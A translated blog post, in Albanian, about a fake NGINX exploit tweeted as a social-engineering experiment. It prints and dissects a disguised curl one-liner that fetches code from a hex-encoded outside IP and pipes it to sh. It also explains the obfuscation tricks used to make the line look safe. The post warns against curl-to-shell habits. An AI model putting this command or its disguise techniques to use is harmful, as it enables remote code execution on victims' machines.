Shën. përkth.: Në 1 qershor, unë vendosa të realizoj një eksperiment në mesin e atyre që janë të interesuar për sigurinë e informacionit. Për këtë, përgatita një eksploit të rremë për një dobësi të pa zbuluar në një server web dhe e publikova në Twitter-in tim. Parashikimet e mia — të zbuloj menjëherë mashtrimin përmes kodit nga specialistët — jo vetëm që nuk u realizuan... Ato tejkaluan të gjitha pritshmëritë, në mënyrën më të papritur: tweet-i mori mbështetje të madhe nga shumë njerëz që nuk u morën mundimin të kontrollonin përmbajtjen e tij.

TL;DR: mos përdorni asnjëherë pipeline-in e skedarëve në sh ose bash. Kjo është një mënyrë e shkëlqyer për të humbur kontrollin mbi kompjuterin.
Dua të ndaj me ju një histori të vogël për një PoC-eksploit që u krijua më 31 maj. Ai u publikua shpejt në përgjigje të një lajmi nga , anëtare e (ZDI), për faktin se së shpejti do të publikohej informacion mbi një dobësi në NGINX që rezulton në RCE (ekzekutimin e kodit nga distanca). Duke qenë se NGINX është në bazë të shumë faqeve web, ky lajm pritej të kishte ndikim të madh. Por për shkak të vonesave në procesin e 'zbardhjes së përgjegjshme' të informacionit, detajet e ngjarjes nuk ishin të njohura - kjo është procedura standarde e ZDI.

për zbardhjen e dobësisë në NGINX
Pas përfundimit të punës mbi një teknikë të re obfuscation në curl, e citoja tweet-in origjinal dhe 'derdhëm PoC-in e punës', që përbëhej nga një rresht kodi, që supozohej se shfrytëzonte dobësinë e zbuluar. Sigurisht, kjo ishte një marrëzi e plotë. Mendova se do të më kapnin menjëherë dhe se në rastin më të mirë do të merrja disa retweets (dhe ky do të ishte rasti).

me eksploit të rremë
Megjithatë, nuk mund të imagjinoja atë që ndodhi më pas. Popullariteti i tweet-it tim u rrit në mënyrë të jashtëzakonshme. Është e çuditshme, por deri tani (15:00 MSK më 1 qershor) ende nuk kishte shumë njerëz që e kuptonin se ishte një mashtrim. Shumë e retweetojnë atë pa e verifikuar fare (pa folur për ta admiruar grafikën e bukur ASCII që ai prodhon).

Shikoni sa bukuri!
Edhe pse të gjitha këto cikle dhe ngjyra janë të mrekullueshme, është e qartë: për t'i parë ato, njerëzit ekzekutuan kodin në makinën e tyre. Fatmirësisht, shfletuesit funksionojnë në mënyrë të ngjashme, dhe duke marrë parasysh faktin se nuk kam nevojë për probleme me ligjin, kodi i fshehur në sitin tim thjesht bënte thirrje echo, pa tentuar të vendosë ose ekzekutojë ndonjë kod shtesë.
Një shkëputje e vogël: , , unë dhe djemtë e tjerë nga ekipi më kemi luajtur me mënyra të ndryshme për obfuscimin e komandave curl, sepse kjo është e këndshme... dhe ne jemi giki. netspooky dhe dnz zbuluan disa mënyra të reja që më dukeshin jashtëzakonisht premtuese. Unë u bashkova me argëtimin dhe provoi të shtoja konvertimet dekadike të IP-së në grupin e hileve. Doli se IP-të gjithashtu mund të konvertohen në formatin hex. Më shumë se kaq, curl dhe shumica e instrumenteve të tjera NIX e pranojnë me kënaqësi IP-të hex! Prandaj, duhej thjesht të krijoja një linjë komandash të besueshme dhe që dukej e sigurt. Në fund të fundit, ndaluam në këtë:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostInxhinieria socio-elektronike (S.E.E.) - më shumë se sa phishing
Siguria dhe njohja ishin pjesë thelbësore e këtij eksperimenti. Mendoj se këto e çuan në suksesin e tij. Linja e komandës shpesh nënkuptonte siguri, duke iu referuar '127.0.0.1' (localhost që njihet nga të gjithë). Konsiderohet se localhost është i sigurt, dhe të dhënat mbi të kurrë nuk e lënë kompjuterin tuaj.
Njohja ishte komponenti i dytë kyç S.E.E. i eksperimentit. Duke qenë se publiku i synuar përbëhej kryesisht nga njerëz të njohur me bazat e sigurisë kompjuterike, ishte e rëndësishme të krijohej një kod, pjesët e të cilit dukeshin të njohura dhe të njohura (dhe kështu të sigurta). Marrja e elementeve nga konceptet e vjetra të eksploitimit dhe kombinimi i tyre në një mënyrë të pazakontë u tregua tepër e suksesshme.
Më poshtë jepet një analizë e detajuar e njësisë një-linjë. Të gjitha në këtë listë janë kozmetike, dhe për funksionimin e tij real nuk nevojitet pothuajse asgjë.
Cilat janë komponentët që në të vërtetë nevojiten? Këto janë -gsS, -O 0x0238f06a, |sh dhe vet serveri i uebit. Serveri i uebit nuk përmbante ndonjë urdhër të dëmshëm, por thjesht transferonte grafikë ASCII përmes komandave echo në skriptin, që përmban index.html. Kur përdoruesi kishte futur një varg me |sh në mes, index.html u ngarkua dhe u ekzekutua. Fatmirësisht, ruajtësit e serverit të uebit nuk kishin qëllime të këqija.
-
../../../%00— paraqet daljen përtej drejtorisë; -
ngx_stream_module.so— rruga për një modul rastësor NGINX; -
/bin/sh%00<'protocol:TCP'— ne supozojmë se e nisim/bin/shnë makinën e synuar dhe redirektojmë daljen në kanalin TCP; -
-O 0x0238f06a#PLToffset— përbërësi sekret, i shtuar#PLToffset, që duket si një offset i memorjes, ndonjëherë i përfshirë në PLT; -
|sh;— një copë tjetër e rëndësishme. Ne duhej të redirektonim daljen në sh/bash, për të ekzekutuar kodin që vjen nga serveri i uebit të sulmuesit, i vendosur në0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— një boshllëk, ku netcat i referohet/dev/tcp/localhost, për të bërë që gjithçka të duket e sigurt përsëri. Në të vërtetë, nuk bën asgjë dhe është përfshirë në varg për të dukur bukur.
Këtu përfundon dekodimi i skriptit një-linjë dhe diskutimi i aspekteve të «inxhinierisë socio-elektronike» (përdorimi interesant i phishing-ut).
Konfigurimi i serverit të uebit dhe masat e kundërshtimit
Duke marrë parasysh se shumica dërrmuese e ndjekësve të mi janë ekspertë të sigurisë / hackers, vendosa ta bëj serverin e uebit disi më të qëndrueshëm ndaj manifestimeve të «interesit» nga ana e tyre vetëm që djemtë të kishin diçka për të bërë (dhe po ashtu ishte argëtuese ta konfiguroja). Nuk do ta rendit tërë grackat këtu, pasi eksperimentimi vazhdon, por ja disa gjëra që serveri bën:
- Aktivisht monitoron përpjekjet për shpërndarje në rrjete të caktuara sociale dhe fut miniatura të ndryshme të parapamjes, për të nxitur përdoruesin të klikojë në lidhje.
- Redirekton Chrome / Mozilla / Safari etj. në një video promocionale Thugcrowd në vend të shfaqjes së skriptit shell.
- Vëzhgon shenjat KUNDËR evident të sulmeve / marrëdhënieve të egra, pastaj fillon të redirektojë kërkesat në serverët e NSA (ha!).
- Instalon një trojan, si dhe një BIOS rootkit në të gjitha kompjuterët, përdoruesit e të cilëve vizitojnë hostin me një shfletues normal (shaka!).

Një pjesë e vogël anti-mirë
Në këtë rast, qëllimi im i vetëm ishte të eksploroja disa mundësi të Apache — në veçanti, rregullat e mrekullueshme për redirektimin e kërkesave — dhe mendova: pse jo?
Eksploit NGINX (i vërtetë!)
Abonohuni te në Twitter dhe ndiqni punën e shkëlqyer të ZDI për zgjidhjen e vulnerabiliteteve reale dhe mundësive për eksploitat në NGINX. Puna e tyre gjithmonë më ka mahnitur dhe jam mirënjohës ndaj Alicës për durimin në lidhje me të gjitha përmendjet dhe njoftimet që vinte nga twiti im të çmendur. Fatmirësisht, ai solli gjithashtu disa përfitime: ndihmoi në rritjen e ndërgjegjësimit për vulnerabilitetet në NGINX, si dhe mbi problemet që shkakton abuzimi me curl-in.
Burimi: habr.com
